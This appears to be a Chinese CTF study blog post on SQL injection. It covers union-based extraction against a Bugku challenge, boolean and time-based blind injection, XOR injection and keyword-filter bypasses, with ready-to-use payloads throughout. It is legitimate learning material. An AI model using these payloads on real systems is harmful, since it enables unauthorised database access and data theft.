zoukankan      html  css  js  c++  java
  • SQL注入初探

    一,常规注入步骤:

    1,正常输入

    2,判断是否存在SQL注入

      一般输入单引号判断“ ‘ ”,若服务器未做过滤则说明存在注入。

    3,判断是数字型注入还是字符型注入

      输入“2-1”,若是数字型则返回ID=1的情况。

      输入“1’ or '1' = '1”,若返回ID=1的情况说明是字符型注入。

    4,猜解查询字段的长度

      输入“1‘ union select 1,2#” 若未显示结果则继续。

      输入“1’ union select 1,2,3#”... 直到显示正确结果,union select 的个数就是字段长度。

      或者是使用“1‘ order by 4” 当数字为5时错误,则说明有4个字段

    5,尝试通过SQL注入查询敏感信息 (要知道使用的是什么数据库,我这里是mysql)

      (1)获取数据库名:

        -1' union select 1, 2, 3, database()#

        得到数据库名“skctf_flag”

      (2)获取表名:

        -1' union select 1, 2, 3, table_name from information_schema.tables where table_schema=database()#

        得到表名“fl4g, sc”, fl4g的16进制ascii码为0x666c3467

      (3)获取字段:

        -1' union select 1, 2, 3, column_name from information_schema.columns where table_name=0x666c3467#

        得到字段skctf_flag

      (4)查询数据:

        -1' union select 1, 2, 3, skctf_flag from flg4#

        最终得到flag, BUGKU{Sql_INJECT0N_4813drd8hz4}

    二,SQL注入类型

    1,按照参数类型分:数字型/字符型

    2,按照数据库返回结果分:回显注入/报错注入/盲注

    3,按照注入位置及方式不同分:post注入,get注入,cookie注入,盲注,延时注入,搜索注入,base64注入

    三,盲注

    1,基于boolean的盲注主要表现症状:

    0.没有报错信息

    1.不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)

    2.在正确的输入下,输入and 1=1/and 1=2发现可以判断

    在演示sql盲注之前,先演示一个mysql小知识:

    • Select database(); //得到数据库名称
    • Select substr(database(),1,1);//使用substr函数截取结果中的值,从第一个字符开始,截取1个字符。
    • Select ascii(substr(database(),1,1));  将截取出来的字符,转换成acsii码,以便于后面做运算。
    • Select ascii(substr(database(),1,1))>97;  //结果会为1或者0,也就是true or false

    (1) 获取数据库长度

    Id=1and length((select database()))> number;(number = 1,2,3...一直测试直至返回0)

    (2) 逐个字母猜解数据库名

    Id=1and ascii(substr(database(),1,1))=97#

    (3) 获取表名

    Id=1and ascii(substr((select table_name from   information_schema.tables where table_schema=database() limit 0,1),1,1))>100#

    2,基于时间的盲注

    只能通过服务器响应的时间长短来判断猜测的字段名是否一致,比较耗时,需要进行自动化测试。

    (1) 基础判断

    sam' and sleep(5)# 如果服务器返回延迟,则说明存在注入

    (2) 获取database()

    sam' and if ((substr((select database()),1,1))='a', sleep(5), null)#

    mysql中if的用法为:if (条件,true返回,false返回)

    (3) 获取表信息

    sam' and if (

      substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',

      sleep(5), null)#

     当‘,’被过滤时,可以尝试使用“select case when (条件) then (代码1) else (代码2) end;”

     若不能用substr(), substring(), 可尝试用“from 1 for 1”来获取指定位置的字符

    四,异或注入

     可以通过在注入点后边加上^(...)来判断是否过滤了关键词。

    id = 1' ^(0)%23 不报错,id = 1'^(1=1)%23报错,从而可以进行异或注入

    id = 1' ^(length('union'))%23若显示正常则说明union被过滤,同理可以测试select, and, or, limit, from..

    可以尝试使用ununionion和seselectlect来绕过过滤

    SQL注入套路:https://blog.betamao.me/2016/11/25/SQL%E6%B3%A8%E5%85%A5%E5%A5%97%E8%B7%AF/

    SQL注入数据库判断:https://www.jianshu.com/p/e308d96e2ecd

              https://www.jianshu.com/p/13e3afa52e64

    SQL宽字节注入:https://lyiang.wordpress.com/2015/06/09/sql%E6%B3%A8%E5%85%A5%EF%BC%9A%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%EF%BC%88gbk%E5%8F%8C%E5%AD%97%E8%8A%82%E7%BB%95%E8%BF%87%EF%BC%89/

    CTF中几种通用的sql盲注手法和注入的一些tips:https://www.anquanke.com/post/id/160584

    CTF| SQL注入之login界面类:https://www.jianshu.com/p/17da91c3bdab

    注入绕过技巧:https://www.jianshu.com/p/48a935b123ce

           http://byd.dropsec.xyz/2016/08/01/SQL-Injection%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/

           https://blog.csdn.net/wy_97/article/details/78085664?utm_source=blogkpcl11

    SQLmap使用教程:https://www.cnblogs.com/ichunqiu/p/5805108.html

             https://blog.spoock.com/2016/10/09/sqlmap-notes/

    SQLmap自定义HTTP请求头:https://love.ranshy.com/sqlmap%E5%A4%84%E7%90%86cookie%E6%95%B0%E6%8D%AE/

  • 相关阅读:
    Workbooks 对象的 Open 方法参数说明
    OLDB读取excel的数据类型不匹配的解决方案
    使用OLEDB读取Excel
    C#锁定EXCEL工作表
    smple
    C# 获取当前文件、文件夹的路径及操作环境变量
    与eval()相关的技巧
    不写var的全局变量声明方式的一个副作用(Side Effects When Forgetting var)
    关于国内浏览器的userAgent识别
    for循环的效率改进写法二则
  • 原文地址:https://www.cnblogs.com/bl8ck/p/9816961.html
Copyright © 2011-2022 走看看